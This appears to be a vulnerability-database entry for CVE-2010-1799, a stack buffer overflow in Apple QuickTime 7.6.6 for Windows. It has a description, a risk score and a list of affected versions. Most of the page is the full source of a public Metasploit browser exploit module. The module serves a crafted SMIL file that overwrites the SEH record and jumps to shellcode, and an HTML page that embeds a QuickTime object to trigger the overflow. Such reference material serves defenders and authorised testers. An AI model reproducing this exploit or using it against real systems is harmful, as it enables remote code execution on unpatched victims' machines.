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CVE-2010-1799

critical
Published 2010-08-16 · Modified 2026-04-29
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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Stack-based buffer overflow in the error-logging functionality in Apple QuickTime before 7.6.7 on Windows allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted movie file.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16558 remote windows verified ruby · 5 KB
Metasploit · 2011-01-08

Apple QuickTime 7.6.6 - Invalid SMIL URI Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB 
##
# $Id: apple_quicktime_smil_debug.rb 11513 2011-01-08 00:25:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking # needs more testing/targets to be Great

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Seh

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Apple QuickTime
				7.6.6. When processing a malformed SMIL uri, a stack-based buffer
				overflow can occur when logging an error message.
			},
			'Author'         =>
				[
					'Krystian Kloskowski',  # original discovery
					'jduck'                 # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11513 $',
			'References'     =>
				[
					[ 'CVE', '2010-1799' ],
					[ 'OSVDB', '66636'],
					[ 'BID', '41962' ],
					[ 'URL', 'http://secunia.com/advisories/40729/' ],
					[ 'URL', 'http://support.apple.com/kb/HT4290' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 640, # 716 - 63 - 8 - 5
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					#[ 'Automatic', { } ],
					[ 'Apple QuickTime Player 7.6.6',
						{
							'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 12 2010',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(client, request)

		return if ((p = regenerate_payload(client)) == nil)

		if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
			print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")
			print_status("Trying target #{target.name}...")

			# This is all basically filler on the browser target because we can't
			# expect the SEH to be in a reliable place across multiple browsers.
			# Heap spray ftw.

			off = 716
			start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"

			scheme = rand_text_alphanumeric(5)

			sploit = ''
			sploit << scheme
			sploit << "://"

			# payload
			sploit << p.encoded

			# pad to SEH
			sploit << rand_text_english(off - sploit.length - start.length)

			# seh frame
			sploit << generate_seh_record(target.ret)

			# jmp back to payload
			distance = off + 8 - (8 + start.length)
			sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

			# force exception while writing
			sploit << rand_text(1024) * 15

			smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
<body>
<img src="#{sploit}" />
</body>
</smil>
|
			send_response(client, smil, { 'Content-Type' => "application/smil" })

		else
			print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")

			shellcode = Rex::Text.to_unescape(p.encoded)
			url =  ((datastore['SSL']) ? "https://" : "http://")
			url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
			url << ":" + datastore['SRVPORT']
			url << get_resource

			fname = rand_text_alphanumeric(4)

			content =  "<html><body>"
			content << <<-ENDEMBED
					<OBJECT
					CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
					WIDTH="1"
					HEIGHT="1"
					CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
					<PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
					<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
					<PARAM name="AUTOPLAY"   VALUE = "true"               >
					<PARAM name="TYPE"       VALUE = "video/quicktime"    >
					<PARAM name="TARGET"     VALUE = "myself"             >
					<EMBED
						SRC        = "#{url}/#{fname}.qtl"
						QTSRC      = "#{url}/#{fname}.qtl"
						TARGET     = "myself"
						WIDTH      = "1"
						HEIGHT     = "1"
						AUTOPLAY   = "true"
						PLUGIN     = "quicktimeplugin"
						TYPE       = "video/quicktime"
						CACHE      = "false"
						PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
					</EMBED>
					</OBJECT>
				ENDEMBED
			content << "</body></html>"

			send_response(client, content, { 'Content-Type' => "text/html" })
		end

		# Handle the payload
		handler(client)
	end

end

Metasploit modules

exploit_windows/browser/apple_quicktime_smil_debug rank 400
Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow
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Application impact
VendorProductVersionsFixed
macos applequicktime
macos applequicktime-
macos applequicktime3.0
macos applequicktime4.1.2
macos applequicktime5.0
macos applequicktime5.0.1
macos applequicktime5.0.2
macos applequicktime6.0
macos applequicktime6.0.0
macos applequicktime6.0.1
macos applequicktime6.0.2
macos applequicktime6.1
macos applequicktime6.1.0
macos applequicktime6.1.1
macos applequicktime6.2.0
macos applequicktime6.3.0
macos applequicktime6.4.0
macos applequicktime6.5
macos applequicktime6.5.0
macos applequicktime6.5.1
macos applequicktime6.5.2
macos applequicktime7.0
macos applequicktime7.0.0
macos applequicktime7.0.1
macos applequicktime7.0.2
macos applequicktime7.0.3
macos applequicktime7.0.4
macos applequicktime7.1
macos applequicktime7.1.0
macos applequicktime7.1.1
macos applequicktime7.1.2
macos applequicktime7.1.3
macos applequicktime7.1.4
macos applequicktime7.1.5
macos applequicktime7.1.6
macos applequicktime7.2
macos applequicktime7.2.0
macos applequicktime7.2.1
macos applequicktime7.3
macos applequicktime7.3.0
macos applequicktime7.3.1
macos applequicktime7.3.1.70
macos applequicktime7.4
macos applequicktime7.4.0
macos applequicktime7.4.1
macos applequicktime7.4.4
macos applequicktime7.4.5
macos applequicktime7.5
macos applequicktime7.5.0
macos applequicktime7.5.5
macos applequicktime7.6.0
macos applequicktime7.6.1
macos applequicktime7.6.2
macos applequicktime7.6.6

References

CWEs

CWE-119

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